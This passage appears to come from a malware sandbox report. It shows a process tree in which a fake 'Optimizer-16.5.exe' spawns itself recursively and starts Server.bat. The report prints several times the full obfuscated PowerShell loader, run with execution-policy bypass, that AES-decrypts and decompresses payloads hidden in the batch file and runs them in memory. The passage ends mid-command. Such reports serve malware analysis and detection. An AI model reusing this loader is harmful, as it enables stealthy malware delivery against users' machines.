        Checks computer location settings
        
        PID:1544
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        41⤵
        Checks computer location settings
        
        PID:3048
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        42⤵
        
        PID:1872
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        43⤵
        
        PID:3228
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        44⤵
        Checks computer location settings
        
        PID:2480
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        45⤵
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        46⤵
        Checks computer location settings
        
        PID:728
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        47⤵
        
        PID:2644
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        48⤵
        Checks computer location settings
        
        PID:3220
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        49⤵
        
        PID:4544
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        50⤵
        
        PID:2408
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        51⤵
        Checks computer location settings
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        52⤵
        Checks computer location settings
        
        PID:392
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        53⤵
        
        PID:1624
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        54⤵
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        55⤵
        Checks computer location settings
        
        PID:1512
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        56⤵
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        57⤵
        Checks computer location settings
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        58⤵
        
        PID:4524
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        59⤵
        
        PID:2172
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        60⤵
        Checks computer location settings
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        61⤵
        Checks computer location settings
        
        PID:2328
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        62⤵
        
        PID:2444
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        63⤵
        Checks computer location settings
        
        PID:4948
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        64⤵
        
        PID:4404
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        65⤵
        Checks computer location settings
        
        PID:2972
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        66⤵
        Checks computer location settings
        
        PID:3944
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        67⤵
        
        PID:756
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        68⤵
        
        PID:2504
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        69⤵
        Checks computer location settings
        
        PID:4464
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        70⤵
        
        PID:3932
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        71⤵
        
        PID:4616
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        72⤵
        
        PID:2792
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        73⤵
        
        PID:1996
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        74⤵
        Checks computer location settings
        
        PID:3132
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        75⤵
        
        PID:1068
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        76⤵
        Checks computer location settings
        
        PID:3236
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        77⤵
        
        PID:3980
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        78⤵
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        79⤵
        Checks computer location settings
        
        PID:2984
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        80⤵
        Checks computer location settings
        
        PID:3520
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        81⤵
        Checks computer location settings
        
        PID:3048
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        82⤵
        Checks computer location settings
        
        PID:464
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        83⤵
        
        PID:4752
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        84⤵
        
        PID:1780
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        85⤵
        Checks computer location settings
        
        PID:3876
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        86⤵
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        87⤵
        
        PID:1180
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        88⤵
        Checks computer location settings
        
        PID:4412
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        89⤵
        
        PID:4844
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        90⤵
        
        PID:2408
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        91⤵
        
        PID:624
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        92⤵
        Checks computer location settings
        
        PID:5004
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        93⤵
        
        PID:1928
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        94⤵
        
        PID:3056
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        95⤵
        Checks computer location settings
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        96⤵
        Checks computer location settings
        
        PID:1968
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        97⤵
        
        PID:2360
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        98⤵
        
        PID:1312
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        99⤵
        
        PID:3336
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        100⤵
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        101⤵
        Checks computer location settings
        
        PID:1320
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        102⤵
        Checks computer location settings
        
        PID:4284
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        103⤵
        
        PID:4608
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        104⤵
        Checks computer location settings
        
        PID:1008
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        105⤵
        Checks computer location settings
        
        PID:868
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        106⤵
        
        PID:3132
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        107⤵
        Checks computer location settings
        
        PID:4860
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        108⤵
        
        PID:3884
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        109⤵
        
        PID:2068
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        110⤵
        Checks computer location settings
        
        PID:944
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        111⤵
        Checks computer location settings
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        112⤵
        
        PID:2252
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        113⤵
        Checks computer location settings
        
        PID:1996
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        114⤵
        
        PID:3232
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        115⤵
        
        PID:2128
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        116⤵
        
        PID:640
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        117⤵
        Checks computer location settings
        
        PID:224
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        118⤵
        Checks computer location settings
        
        PID:4796
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        119⤵
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        120⤵
        Checks computer location settings
        
        PID:1932
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        121⤵
        Checks computer location settings
        
        PID:1668
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        122⤵
        
        PID:2388
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        123⤵
        Checks computer location settings
        
        PID:2720
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        124⤵
        
        PID:528
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        125⤵
        Checks computer location settings
        
        PID:4216
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        126⤵
        Checks computer location settings
        
        PID:2848
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        127⤵
        
        PID:2584
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        128⤵
        
        PID:3304
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        129⤵
        
        PID:2212
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        130⤵
        
        PID:3548
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        131⤵
        
        PID:972
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        132⤵
        
        PID:756
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        133⤵
        
        PID:3528
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        134⤵
        
        PID:828
        
        C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Optimizer-16.5.exe"
        135⤵
        
        PID:2656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        135⤵
        
        PID:2372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        134⤵
        
        PID:4964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        135⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        133⤵
        
        PID:4656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        134⤵
        
        PID:4876
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        132⤵
        
        PID:4772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        133⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        131⤵
        
        PID:1880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        132⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        130⤵
        
        PID:1184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { 